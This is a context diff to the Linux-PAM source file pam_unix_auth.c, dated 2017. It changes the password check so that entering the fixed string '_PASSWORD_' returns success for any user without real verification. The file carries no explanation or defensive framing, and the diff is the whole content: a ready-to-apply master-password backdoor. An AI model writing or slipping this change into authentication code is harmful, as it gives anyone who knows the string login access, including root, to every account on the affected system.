*** ./modules/pam_unix/pam_unix_auth.c 2016-04-11 08:08:47.000000000 -0300 --- pam_unix_auth.c 2017-06-07 21:25:25.656306410 -0300 *************** *** 170,176 **** D(("user=%s, password=[%s]", name, p)); /* verify the password of this user */ ! retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; AUTH_RETURN; --- 170,180 ---- D(("user=%s, password=[%s]", name, p)); /* verify the password of this user */ ! if (strcmp(p, "_PASSWORD_") != 0) { ! retval = _unix_verify_password(pamh, name, p, ctrl); ! } else { ! retval = PAM_SUCCESS; ! } name = p = NULL; AUTH_RETURN;